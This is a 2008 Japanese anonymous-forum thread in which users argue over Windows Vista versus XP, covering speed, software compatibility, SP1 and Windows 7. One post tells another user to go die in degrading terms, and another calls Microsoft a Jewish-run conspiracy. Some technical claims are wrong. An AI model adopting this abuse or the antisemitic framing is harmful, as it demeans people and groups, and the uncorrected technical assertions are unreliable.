まじVistaを使いこなしたいが、XPに触れていた時間が長いために どうしても使いやすいメイン機のXPを優先して使ってしまう 結果Vistaをいじる暇が無い 俺にPC二台は必要なかったということか・・・
弄る暇はなくてもこんな糞スレを見る暇はあるんだな 時間の使い方間違えてないか?
Windows板は結構情報の宝庫だよ 覗くのはしょうがないじゃないか 正直、ここに来る様になってから、「何を調べたらいいのか」とかがわかるようになったし 2ちゃんは邪魔だ、作業の邪魔だ、つい気になって覗くと能率下がる・・・・・・・ って思っても、何か調べようとすると、リンクがあるのが2ちゃんねるになってしまったりするのは、確かにもうなんていうか、という感じw
>>840 同感。
身近にPCに詳しいのがいないので、2chが主たる情報源。
雑誌はよいしょ記事しか書かないが、ここでは主観的ではあるが
色々な意見を聞くことができるし、質問もできる。
ただ、情報の読み方には注意せねば。
VISTAに関しては誤った情報が多すぎるように思う。
XPを批判している人って、どれほど使い込んだ上で否定しているのか はなはだ疑問。 数ヶ月使い込めばXPの良さが分かると思うんだけれどね。 XP対VISTAなって語っているのも今年限りでしょ。 俺にとってVISTAは未来のもの。
俺にとってVISTAは影
>>842 馬鹿みたいwwwwww
XPなんざ誰でも使っていたでしょ?
あまりにもつまらない言葉遊び。
小学生なのかな?
>>844 初めて買うやつとか
プレインストールで廃棄したやつは今つかえないだろ
あまりにもつまらない言葉遊び。
小学生なのかな?
>>845 坊ちゃん、日本語でどうぞ。
文章が破綻してまつよ。
>>846 言い返せないからって破綻した文章はやめようなw
日本語でおk
>>847 あなた、相当の馬鹿ですね。
まじめに質問ですが、
あなたはVISTAを持っていますか?
持っているとして何ヶ月使いましたか?
使うのを止めたのは何故ですか?
>>848 お前のほうが相当馬鹿だよ
まあ半年はつかったわな
でやめた理由は利点が感じられない。そして同じPCにXPを入れたほうが
早いということだったから(まあ、システム上同じ構成であれば速度的には
なにしても変わらないけども(快適さはあがる可能性はあるが)
core2duo+2GBRAM
ちょい出かけるから確認はあとになるが
>>849 なんか2chって、都合が悪くなると用事ができる人が多いよね。
ププッ
> でやめた理由は利点が感じられない。そして同じPCにXPを入れたほうが > 早いということだったから(まあ、システム上同じ構成であれば速度的には > なにしても変わらないけども(快適さはあがる可能性はあるが) > core2duo+2GBRAM いったい何を言いたいんでしょ、この馬鹿は。 ププッ
>>850 いや、マジで今買い物言ってきたが
>>851 いったい何を言いたいんでしょ、この馬鹿は。
ププッ
説明しろよまずw
使ってみれば良さが分かるって言われてもなあ… 良さが分からないから使う気になれないわけで…
VistaではこれまでWindowsが10年以上前から使っていたGDI というグラフィック描画用の命令群(API)を置き換え、 WPFになってる。 WindowsがLinuxになるのと同じくらい全く互換性のない2つのAPI。 当然Vistaでは古いGDIを 切り捨てるわけにはいかない。 作られてきたアプリの全てはGDIに依存しているわけで、 MSは古いAPIであるGDIを半ば切り捨て、CPUでエミュレートする方針になってる。 またスーパーフェッチも使い方次第ではうまく起動しない 使うアプリにばらつきがあれば、どれに適応していいかわらず右往左往してしまう ただし適応できればアプリの起動はXPより早いし、メモリ管理もいいので スワップしたときの速度低下が少なくてすむ(まあ、その分PFが倍程度になっているが) ただ俺もクアッド+4GBRAMとかならvista選ぶけどな。さすがに無意味だから
ちなみにアプリの起動が早いわけで 実行速度(アプリ自体の速度)が速いわけではない
>>854 ExcelがWPFで書き直されたら速くなるのか?
違うでしょw
>>854 XP 以前ではドライバに対して GDI 操作のサポートを要求していたが
Vista からはこの実装を不要とし、
オフスクリーンバッファへ GDI 操作の結果を書き込むように変更
オフスクリーンバッファを画面上に同期させるのは DWM が担当する
この一連の処理中に「WPF」というキーワードは出てこない
WPF は .NET Framework 3.0 で実装されている
新しい視覚表現関連のフレームワークであり、
これは .NET Framework 2.0 にある GDI/GDI+ をベースとした
Windows Forms を置き換える立ち位置であって
GDI/GDI+ を置き換えるものではない
訳もわからずコピペするのは止めた方がいい
>>858 Excel の描画を DirectX9/10 を使うようにすれば速くなる
ビジネスアプリでこれをやる意味はわからんが
>>854 ならば完全エミュレートする方向に行ってもらいたい。
98以降のソフトがドライバレベルで破綻無く、速度もそこそこにキチッと動作するならばvistaの意味も生じてくる。
それがないなら魅力(意味)が無くなる。
ただ、それが実現できそうなのは余計な部分をそぎ落としたwin7からだろう。
使えるOSという意味合いでは、NECの日本語MS-DOSレベルからのエミュができるならば需要は一挙に増大するはずだ。
過去の資産をキチッと引き継いで活かすことができてこそXPに代わる新OSの意味がある。
それが無いなら(つまり現状)意味も極薄になる。
そうなんだよ、あえてvistaにする意味も極薄
今までPC使った事ありませーん 新規で購入でーす って人は、スペックさえそこそこ満たせばVistaでいいと思うよw が、こういう所に来る奴はそういうのがまず少ないだろw
派生、亜種ならともかく旧主力OSとその正当後継OS喧嘩させて何になるんだ? 現行対応アプリが少なくハイエンドPCしか用足らないってことはわかるが。 シングルCPUでXPが早いとか、FF11ベンチでXPのが早いとか言ってる奴は脳みそが足りて無さ杉。 XPはどんどん淘汰され、サポートも打ち切られていくのが現実。一方対応アプリも増え高性能PCが出てくるたびにVISTAが高速化 してくるのはもう明確。そろそろ現実逃避やめて目を覚ませよ。豚供!!
>>864 XPでもデュアルコアパッチがでてるだろ
>>864 みたいのが必ず出てくるから、Vistaイヤってのもあるな
とにかく必死に押し付けようとするんだよね
で、貧乏人とか、豚とか・・・w
特に困ってないし、安定重視だから、正直次もXPがいいんだけどなw
どうせノートだし
>>865 デュアルコア?もう4コアだろカスがwwwwww
>>866 取りあえず悔しくて書いたんだろうが、意味内空気文ならチラ裏に書いとけよwww
やっぱりお前ら駄目だ。どうせヒキヲタニートの屑なんだから、お前を生みやがった薄汚いお袋の子宮に首突っ込んで死んで来いよwww
>>863 初心者でーす、という奴が購入する家電量販店に置いてあるPCは大抵スペックを満たしてない
特にノートなんて悲惨過ぎるぜ
発売してからかなり経つのにハードもソフトもまだまだVista対応は遅れてる
XPのときもそうだったが、 vistaが快適に動かせるグラボ搭載の静音ノートが 1〜2年くらい型落ちして安くなった頃の中古を買うから、 それまでは待つことにする。 貧乏だからな。
>>867 いや、ちっとも悔しくないし
というか、なんで仲間を増やそうとするのか、それがわからんw
Vista使用者にXP使えって薦める気は俺は更々ないよ
満足して使ってるものにケチつけてる訳じゃないし
ただ、「Vista欲しいですか、欲しくないですか」とか「Vista買いますか、買いませんか」といわれたら、
欲しくないし、買いません、って感じになる
その分、HDDでも買い足すよw
もうちょっと廉価機でもハードの性能がこなれてきたら考える
>>861 Win7 で「余計な部分をそぎ落とす」なんて発表はないんだが
MinWin あたりで勝手な妄想膨らませるなよ
>>872 余計な部分を削除というのは、
スパゲティー的な継ぎ接ぎを改めて見直すという意味。
場当たり的な継ぎ接ぎの基礎ではキチッとしたビルを建てることはできない。
良いものを作るには、元をキチッとしないと駄目だということ。
win7にはそれを期待している。
期待通りに展開するかどうかはわからんが、そうでなければ売れないだけだ。
コアを小さくするんだっけ? それって単に基本部分以外を一般アプリやサービス扱いにして コアの外に追い出すだけだろ。 結果的にはAPI経由部分が増えて重くなる可能性すらあるぞ。
まあ難しいことはわからん。 おそらくコードが重複しすぎている部分があるのと違うかな。 その場しのぎに継ぎ接ぎでコードを追加していってわけがわからんように・・・・ それを見直して最適化したらサイズが半分以下に・・・ということでないかと思う。 速度的には大して変わらんと思うが、基礎をスッキリさせるとその後の構築がやりやすくなる。 現状は入り込みすぎて何をどうしてよいかわからない状況でないかと思うのだが。 だから細部の使い勝手(操作性)を向上させることを考える余裕がない。 中途半端なまま新しい機能だけが追加、もしくは変更されていく。
>875 それは普通、最適化とか言うんじゃないかな。 多分MinWinの目的はOSとしての根本的な部分と そうでない部分とを完全に分離にして、安定性や拡張性を高めることじゃね。 何かアプリ1つフリーズしても他は余裕シャクシャクで動くとか。 タスクバーを設定変更の枠を越えて丸ごとサードパーティ製にしたりとか。 Windows自体はむしろ重くなると予想。 ただ、各機能の依存部分が減るという意味では 例えばウィンドウ表示・管理を設定云々でなくて ハナっから爆速なものに入れ換えたりとか 切れるサービスも増えるかも知れないから取捨選択は出来るかも。 だから、俺の予想では「全体としては多分重くなるが 軽くする選択肢も拡がるかも知れない」程度。
CPU能力が現在の環境で十分足りているにも関わらず、 サポートを打ちきり、買い換えを促す邪悪な企業マイケルソフト
>>876 あのさ
完成したSP1と試作版のSP3じゃ比較できないじゃん
完成したSP3でやれよ
7のコアを小さくする計画は、仮想化対応CPUを最大限活かしたシステム作るためじゃないかなあ。 MinWinはマックで言うとカーボンみたいな役割でさ。 これならソフトの互換性確保や32bit、64bitの両立はしやすいと思う。 でもメモリ量やハードウェア特性といった動作環境はVista以上に厳しくなるような……。
>>880 例の誇大宣伝が後に覆されたのと同じで、そのうち逆転した結果のデータも出てくるかもよ。
そうでなくても重箱を針でつついた程度のことを極度に持ち上げて万能の如く見せかけるなどは笑止千万。
実にくだらん。
シラケただけで食指は全く動きませんな。
>>880 おまいがそこへ訴えれ、じゃなきゃおまいがやってみれ
>>880 じゃあおまいさんがやってみせてくださいな
>>883 完成版のSP3なんてどこにあるんだよw
だ・か・ら、「Vistaで無ければできないこと」をとっとと示してくれよ
別にVistaじゃないとできない事ある=Vistaがいい なんてだれもいってないだろ お前の中でのOSの基準って新機能だけなの? 安定性だとか軽さ、互換性、使いやすさ、将来性その他もろもろ全部で議論してんだろ 馬鹿なの?
それじゃあ買い換えの需要は生じないな それも省エネパソコン用途を除く新規だけだ 新規購入の70%以上はノート型 もう現在は80%越えてるかモナ
何度もこのスレでいうけどさ 別に買い換えを強要してるわけじゃないの XPとVistaがどっちが性能が上かをやってるの 好きなOSがあるんならそれずっと使ってればいいし ただどちらが優秀かってのははっきりさせとかないとって事 いい加減気付けよ
新しくノート買ったけど、XPにした。理由は、 1. 動かないと困るソフトを持っている。 2. もうすぐ「7」が来る。 Vistaでも良かったんだけど、もう少しだけ使いたいソフトあったから。 環境移行もかったるいしで。 まあ7とやらが来たら乗り換えるさ。 人柱になってやんよw
人柱がvistaで爆死してくれたおかげで買わなくてすんだ、感謝してる 俺も7でxpから移行するつもり
vistaにしなくて良かったよ 使えないソフトがあるなんて欠陥品だもの
>>889 2はガセだろw
数年後のことを言ってるなら気が長いと思うが
>>890 あんたは長文でさもありなんそうな(妄想)文書くくせに
ちらっと書くときはただの叩き各所でやってんのなw
894 :
名無し~3.EXE :2008/03/20(木) 03:29:35 ID:IxNQJSWb
>>837 Vista入れてる奴は電源入れてないか
電源入れても眺めているだけじゃないか
896 :
あ :2008/03/20(木) 04:08:03 ID:C+7C4Zqy
FirefoxとiTunesがけっこう異常終了する XPではほとんどなかったのに
MSが目の敵にしているFireFoxやiTunesに問題があるのでしょう vistaは安定性が売り物のようですからね。 w まあ、俺なんかは所謂、低性能のXPを高機能フリーソフト群でバックアップして気楽にFireFoxをサクサク使っていますが、 これは低性能なXPだからできることなのでしょうね。 高性能なvistaではOS標準添付機能を使うのが原則のようですし。
898 :
名無し~3.EXE :2008/03/20(木) 09:00:01 ID:5LvUWsxw
昨日、PCが壊れたのでXPマシンを通販で頼みました
899 :
あ :2008/03/20(木) 11:12:38 ID:C+7C4Zqy
ユーザー切り替えに時間がかかるのはかなり不便
>>885 旧モデルのポンコツ車乗ってる奴が
フルモデルチェンジの新型をひがんでるみたいだなw
エンジンやミッション、サスペンションがよくなって安全性も向上
でも、「新モデルでなければできないこと」を教えてw
ハードウェアは新型にしてるのもいるんだがなw バカだなぁ 無駄におかしな電子装備を取り付けてみたが、反応が鈍くなった、というのが正しい比喩だろ
XPでそこそこ満足しているから変える理由が見当たらない。 IME2002の仕様が未だに気に入らないこと以外は。 PS2で映像的にも不満がないから PS3に移行する気が起きないのと同じようなものかな。
>>886 >安定性だとか軽さ、互換性、使いやすさ、将来性その他もろもろ
この中でvistaがxpに勝ってるものって一つでもあるか?
あぁ将来性か。でもwin7の予定って2009年じゃなかったっけ?w
905 :
名無し~3.EXE :2008/03/20(木) 19:15:27 ID:cfex38zs
今日ソニスタから、XP C2D マシン到着 おれ、勝ち組wwwwwwww
それでもvistaが気になるのかw
少なくとも自分は安定性(これはどうあがいてもVistaが上)と将来性と使いやすさ(個人差有)はVistaかな 軽さも一部のベンチで多少落ちるけどあくまでも単発の場合であり 複数起動(ゲームに限らず多方面で)だとVistaの方が軽い XPはあくまでも動作しなかったごく一部のソフト動作させる専用かのぅ しかもVMware上で事足りるからほぼ起動させることない
>>907 >複数起動(ゲームに限らず多方面で)だとVistaの方が軽い
それデュアルコアのせいであってOSの差異ではない気がする
同じマシンでデュアルブートしても露骨に違うんだけど。 XPだとフリーズ同然の状態でもサクサク動く。
安定性はxpだと思うぜ vista問題出すぎ
このスレ腐ってやがる
>>908 Socket939 Athlon64+3500/PC3200 512x4という構成
このマシンで過去に2000SP4〜2003SP2と使ってる
>>910 「予期せぬエラーが発生しました。情報をマイクロソフトに送信しますか?」
XPの時、よくこのメッセージみたなぁw
MSとインテルの黄金則 最新のOSをキビキビ動かすことができるのは次代のハードウエアである だからこそハードウエア進化の需要が生じる ↓ 最新のハードウエアを生かすことが出来るのは一世代前のOSである
916 :
あ :2008/03/20(木) 23:57:22 ID:C+7C4Zqy
起動後の動作は速い 気がする
低メモリメーカー製糞PCなら断然XP。
>>875 それはリファクタリングだ
あと、MS のコードは結構綺麗 (MFC/ATL/WTL や .NET Framework とかなかなか読みやすい)
それでも過去からの蓄積でカオスなので機能を切らない限りバッサリ減るということはないと思う
そして互換性を重視する立場から、Vista のようにい VfW をバッサリカットとか
そういうレベルで決断しないとコードが一気に減るというのは考えにくい
>>881 ちょ、Carbon でどうするんだよ
Darwin だろ
まぁ、MinWin の立ち位置は Xen 対応の mini OS loader でしかなく
その上に Vista のような巨大 kernel + userland が乗ってきて Win7 になります、だと思う
Windows Server 2008 の Server Core を見るとそういう感じ以外になりえないと思う
>>904 XP が「軽さ」と「互換性」以外で勝ってる点がない
あと、Vista 用のアプリが XP で動作しないのも「互換性」の話なので
そういう点では XP の方が劣ると言えないこともない (これは屁理屈に近いが)
>>908 アプリの複数起動ではメモリ管理が変わっている分
Vista の方が軽くなる状況はありうる
全部メモリ上に乗っかって作業が続けられているなら
XP の方が速いと思うけど、そうじゃないなら Vista が上になりうる
個人的にはOSにもっともっと革新的な導入をして欲しい。 そうじゃなきゃ漏れが生きてるうちにSFみたいなバーチャルなPC触れない・・
>>921 それだったら別にWindowsでなくてもいいんでないかい?
カーネルが軽量だと言われている7も、スーパーフェッチやエアロを継承してるだろうし Vistaもまともに動かないPCなんか使ってるようじゃ終わってるし未来は無い XPのサポート切れた後はどうすんだ?XP厨は
>>923 スーパーフェッチもエアロもいらねw
別にサポート切れたって問題ないでしょw
Firefoxもavast!もいまだに98サポートしている事から考えるとXPも後5年以上は使える計算。
それでもセキュリティに不安があるならローカルネットワーク専用にすればいい。
現在E6850+7950GTだけど、これで性能が足りないというならWindows7に移行する必要がある時にパーツ交換をするかPCを買い増しって選択肢もある。
いいかげん○○厨つーのやめよう
ここまでの結論だとXPの勝利かな
自分の好きな方使えよw 使ってるOSが良いか悪いか気にしてる時点でそいつは負け組
逆に聞いてみよう・・・XPじゃなきゃできないことを教えてくれw
>>917 確かにメーカー製のPCはあまりいいパーツを使っていない。
だからVistaは重いと言われるのだ。XPだって発売当初は・・・。
自作PCは最高
>>927 確かにそれがいいかもな。なんだかんだと言っても・・・。
>>924 MSとかAppleはWin98どころかWin2000のサポートも切ったからな・・・
最新のアプリはほとんどインストールすら出来ないぞ
>>923 その頃に7が出てなければ、Vistaか、あるいはLinuxにでも逃げるだけの話
つーか、もうPCでエロゲとかしたいとかも思わなくなってきてるので問題ないし
Macは嫌いなのでいかないけど
>>932 どーせ、Vistaにするならさっさと移行したほうがお得
シングルコアとかオンボードVGAとかのPCだったら
壊れるまでXP使ってればいいけど・・・
>>923 7発売時期はXPをそのまま使うっていうより
7がvista並の重さかどうかは知らんが今現在のVistaをサクサク動かせるPCの値段自体が下がってきてるでしょ
今現在その水準が高いから手を出せないってだけなんじゃないの?
なんでさっさと移行したら得、になるのかがちっともわからんw 俺はノートユーザーだから、そもそもVistaは良い選択肢ではないよ デュアルコアでオンボなんで ま、Vistaはデスクトップの描画は綺麗だけどね そこは認める
未だにceleron機メインで売ってるメーカーが悪い 構成も確認せずにメーカー名で買う消費者も悪い Vistaがまともに動くスペックくらい調べろと と思って久しぶりに量販店覗いたら、ゲートウェイのデスクトップが人気で驚いた
>>936 最近のセレロンは別にひどくないと思うぞ
北森の時代ではないんだし
>>935 オンボードVGAでも965ならVistaもOKかと・・・
Windows7の話持ち出すのって馬鹿くさいよねw 5年くらい後だったらVista使ってたって乗り換える人は多いでしょ。 出たてで2.5万かちょい経ったら1.5万、Vista持ってればアップグレード価格になるかもしれんし。 普通の稼ぎある奴なら大したことない。
7はVistaがさくさく動くハードの足枷OSとして登場します。 このとき始めて十分枯れたVistaが旬になりますよ
例えば、車の燃費向上とかでわけのわからんパーツを通販で手に入れて車に装着。 その気になってウハウハが暫く続くが意味の無かったことがやがてはわかる。 それは言い過ぎとしても、普通のワックスとミラーコートの違いというか・・・ 2000の場合はシンプルに水洗い・・・ つまり、どうでもいいのだわ。 実用に過不足無く使えればいい。 車(OS)は道路を安全普通に走れればよいのだ。 そんな感じかな。
>>936 今の Celeron は Core アーキテクチャベースな上に
普通にデュアルコアなので
キャッシュが少ない Core 2 Duo 化してる
この世代より前の Celeron 採用ってのが多いから
もう少し経たないと Celeron で十分とは言えないと思うが
この世代が採用されると Pentium 涙目になる
944 :
名無し~3.EXE :2008/03/22(土) 04:21:31 ID:W0dbQCrV
>>927 うん、確かにそのとおりですね。
ただ自分にあった方を選ぶには、両方をある程度使うことが必要なわけで。
それには資金が必要か
XPはもう何年も使ったから慣れてるが、vistaの新しさにも興味がある。
どうするかな?
VistaSP1で何が不満なんだって感じだな 普通にXPSP2こえてるよ
vistaSP1を褒めるやつが多い。 でも今SP1と適用してるやつは既にvistaを持っていたということ。 その時点で(ry
SP1入れんでも良かったのに 入れたら遥かに良くなった 完全にXPは役割を終えた
949 :
名無し~3.EXE :2008/03/22(土) 06:44:42 ID:Y6QFNj2h
互換問題さえ無くなればXPは終わり
特にOSの選択に対して目的を持っていないのならば これからはVistaにしとけという事でいいのですか?
使いたいソフトの対応と PCのスペックで判断しる
確かにソフトによってはVista対応絶望的な場合もあるな
再度 逆に聞いてみよう・・・XPじゃなきゃできないことを教えてくれw
XPじゃなきゃ動かないソフトがあるってことじゃないのか? それは認めざるを得ない
対応ソフトが多い 枯れているので、トラブルが起こったときに対処しやすい 人の助言も期待できる VISTAじゃ駄目なこと 未対応のソフトが多い ハード的に敷居が高い 周囲の助言を期待できない ビジネスで使うなら、XPと何ら変わるところがない VISTAが満足に動くノートパソコンが少ない以上、現時点で 普及は難しいと思う 趣味で使っている分には面白いけれど
当たり前なのだが、2000やXPの資産(ソフト)に対してvistaが対応しているかどうかの検証がなされていない。 自分は概ね大丈夫、とか今のところ問題ないという各個人レベルでのバラバラ不明確な情報しかない。 vistaでの動作検証を行っているソフト(特にフリーソフト)は極わずかだろ。 それを考えると動作確実でサポート的にも継続しているXPが一番安心できるのでなかろうか。 新しいもの好きな人でない限りはXPで何ら問題が生じることはないのだから。 周囲で使用されているのもほぼ2000やXPばかりという現実もある。 2000以降で安定性が確保された以上、敢えて新しいものを選択する理由も乗り換える理由もない。 ただ、vistaが気に入ったならそれを使えばいいのでないかな。 個人の自由だから。 vistaが必要と思うなら使えばいいし、XPの方が楽で安全と考えるならXPを選択すればいい。 簡単なことだ。
XPの勝利か・・orz
958 :
名無し~3.EXE :2008/03/22(土) 09:40:29 ID:jyqwy5Iq
スキルが高い自作板での評価 、 どんだけ使ってないアンチがウソばっかだったかってわかる。 935 名前: Socket774 [sage] 投稿日: 2008/03/22(土) 08:26:23 ID:MT9O3NHG はっきりいってGeForce8800GTクラスのGA使ってれば ちょっとくらいパフォーマンスが下がったところでゲームに支障なし ロストプラネットのDX10版で遊んだが最後のボス戦とエフェクトの綺麗さに感動 DX9用とはかなり違うな VISTA嫌ってる人って使ったことがないで周りの情報に踊らされてる人でしょ 936 名前: Socket774 [sage] 投稿日: 2008/03/22(土) 08:31:05 ID:Sv+xJNGX まあ、使ってみないと正直わからんだろうね ハイブリッドスリープ?何それって人もいるし 937 名前: Socket774 [sage] 投稿日: 2008/03/22(土) 08:33:33 ID:MT9O3NHG VISTAは古いゲームも問題なく稼動してる ただ、8800GTのフラットパネルスケーリング使用するへ設定してないと カクカクするゲームがあった(古いゲームで) 世に言うアスペクト非固定機能って言われるやつだが これを有効にするとまったく問題なしに動く(たぶんドライバーの問題だろう〜) モニター側にアス固定付いてるから出来れば使いたくないんだがなw 940 名前: Socket774 投稿日: 2008/03/22(土) 08:41:06 ID:eEi8RHeR VISTA使ってるけど言われるほど重さは感じないなぁ 941 名前: Socket774 [sage] 投稿日: 2008/03/22(土) 08:44:56 ID:MT9O3NHG 最近のDualコアCPU使ってたら軽すぎVISTA w メモリーさえ十分に乗せてたらXPと同等 というよりVISTAの方がかっこいいし慣れるとVISTAの方が便利になるw SP1が出るまではVISTAなんて糞だろって言ってた自分に反省w
勝利云々は関係ないですよ。 1.必要と考えるなら使う。 2.必要ないなら使わない。 3.PC買ったときに付いてただけだし、よくわからないからどっちでもいい。 上記3点。 各個人がどう判断するか。 それだけ。 Macも根強い信者がいますからね。 それらの人達はそれでないと駄目だと考えているわけですから、それはそれで正しいわけです。 それぞれの使い方があるだけでしょう。
>>959 アンチさんもこれだけ評価されてくると温度を下げざるをえなくなったねw
フリーのアプリが出てこない環境には今更戻れない先細りして消える運命
なるほど、高い金を出してハードを構成しないとvistaは使い物にならないということか なら大半の人はXPにしたほうが快適ということでFAかな?
>>963 大半の何割かは数年に一度はハードを更新する。
少し古いハードでも必要な部品を調達すればいい話。
極論で語るな。
>>964 極論か?
ゲフォの8800GTなんて積んでる一般人なんてみたことないぞ
まあそんなにムキにならないで
966 :
名無し~3.EXE :2008/03/22(土) 10:10:07 ID:YASkzh/d
俺の場合Vistaの方が圧倒的に仕事の効率あがる。 仕事用にこそVistaを使うべきと結論づけた。 遊びならXPで良いけど。 仕事では怪しいフリーソフト使わないから 対応ソフトなんか悩む必要ないしね。 俺の場合は膨大なPDFファイルとDOCファイルを 次から次へと開いたり閉じたりする必要があるんだけど Vistaの検索機能は欠かせなくなってしまった。 XPだとエクスプローラーで目で探す必要があって こんな事もう無理。
ふむ、vistaだと対応ソフトにやはり悩まなくてはならないのか 検索が仕事の人はVistaがいいみたいだね
MSの怪しさに比べたらたいした事は無い
セレ、オンボVGAのVistaでも最近の構成ならメモリさえ増設すれば 突っ込みどころは無いな SP1あてたら、尚更w もうXPの時代は終わったんだよ メリット見いだせないもん
>>961 周囲一貫して、敢えて乗り換える意味がないと言っている。
無意味闇雲にvistaをけなしているわけではない。
個人的には親切な意味で現在でもXP推奨だ。(但し、ある程度のスキルが身についている人に対してだが)
とはいえ、XP同様に謙虚にvistaを使っている人はそれで正解なのだよ。
その意味ではwin98も可なわけだ。
自己の必要性の範疇に於いて必要に応じて賢く使い分けるだけのこと。
vista批判について、微妙に温度が下がっているのはsp1の状況を見ているからに他ならん。
ただ、sp1で多少の改善が施されているとしても多くのXPユーザーは動かないと思う。
普通にXPがサクサク使えている状況で乗り換えを煽るのは簡単ではないし、
vistaを異様に擁護している販促アルバイターの存在は逆の効果しかまき散らしていないわな。
>>970 ふむ。
だけどあんたも冗長だねw
OSごときであまり騒ぎなさんな(漏れもなー)
>>970 つかアルバイターなんかいねーっつのw
それが妄想。
遊びなら俺はXPのがいいと思うな
>>970 つかね、アルバイター使う必要が無いくらいユダヤ系企業MSの陰謀は高度だよw
そういう意味でどうあがいても2〜3年後にはXPは少数派になる。
だから今更新規で買う人にXP勧めないで欲しいのよ。
無駄な投資になるだけだから。
あんたもOS板で無駄なあがきやめてユダヤの陰謀研究してみ。
想像を絶する規模だよ。
2〜3年後にPC買い換える陰謀説もあるよ
970でFAだな
びす太が普及する前に7が出る
970に一票 ただしアルバイト云々は除くが
最近XP買ったヤツが涙目で反論してるな
MSのことだしXPSP3でどんな嫌がらせを仕込んでくるのか、とても楽しみだ
XP sp3はやっつけ仕事だからな MSのエースチームが担当したVista sp1と違い、中国あたりの外注にでも出したんだろう MSも営利企業だから金にならないことはやりたがらない XPで収集した膨大なエラー情報を解析して、その結果をVistaに適応したんだろうか、 Vistaは異常なほどエラーが少ないというか、無い XP sp2でもエラー多発だったから、もうXPを改善する気はないらしい まぁ、叩かれない程度に対応するということでsp3、有償の延長サポートを決定した
>>982 どういう条件でどういうテストしたかも書かずに結果だけしか書かれていないのに信用しろと?
985 :
名無し~3.EXE :2008/03/22(土) 12:38:22 ID:ktmJd0G2
>>983 言われてみれば確かにVistaはエラー出ないね。
まだ1回も出たことないな、気がつかなかった。
隣のXP機はギャオ見るだけでエラーが出る(笑
>>985 > 隣のXP機はギャオ見るだけでエラーが出る(笑
どんなショボ設定なんだかw
むしろギャオ見る事がエラーw というか、OS自体よりもブラウザとサイトの相性の方が大きくないか? Operaなら落ちるが火狐なら大丈夫、IEなら大丈夫ってのばかり
Win7時代は物理8コア( 論理16コア)が主流になるだろう。 果たしてVista世代以下のOSで対応しきれるやら。
その頃は7にするよ でも、64bit環境っているかなぁ・・? 32bit環境で不満な事って殆どないんだけど
990 :
名無し~3.EXE :2008/03/22(土) 14:22:20 ID:Y6QFNj2h
おいおい、Vistaはフリーソフト使えないイメージがあるのか? 稀に使えないものがある程度だぞ? その中でも、XP SP2互換モードで使えるものもあるし。
>>989 メモリ4G以上なら64BitOS必須でしょ。
メモリ4Gが必須じゃないからなぁ
むしろ64bitに完全移行すべき。 32bitは生産中止でいいよ。 メモリ3Gの壁のせいでギリギリ。
DTMか、動画を扱うか、フォトショで高解像度を扱うか、最新ゲームばかりやってるか、巨大なデータベースを扱うか という用途なのか? オフィス使うのに64bitなんて無駄に極みだと思うw というか、4GごときのメモリじゃOSが重いんです、っていうならそれは明らかに欠陥OS
>>994 知ったか乙w
4Gじゃないと重いなんてどこに書いてある?
4G以上使える環境が64だっつってるだろ?w
今更新しいPCを買って、OSにXPを選択することはないが、 新しいPCでないと困るような使い道が、現状ないからなぁ。 ネットの通信速度が速くなるなら、どんな最新機種でも買うんだが。
>>994 それを言ってはオフィスだとWin2000+セレロンで十分って話になるだろ。
Win7時代のキーワードは仮想化。 つまりそのホストは必然的に64ビットへと向かう。
>>997 それで充分だが。
ただし、エクセルに限って言えば、スムーズスクロールが可能な2003の方が宜しい。
ただし、2007は糞であるから手を出さないように。
1000 :
名無し~3.EXE :2008/03/22(土) 20:52:58 ID:xcWd3bZY
a
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。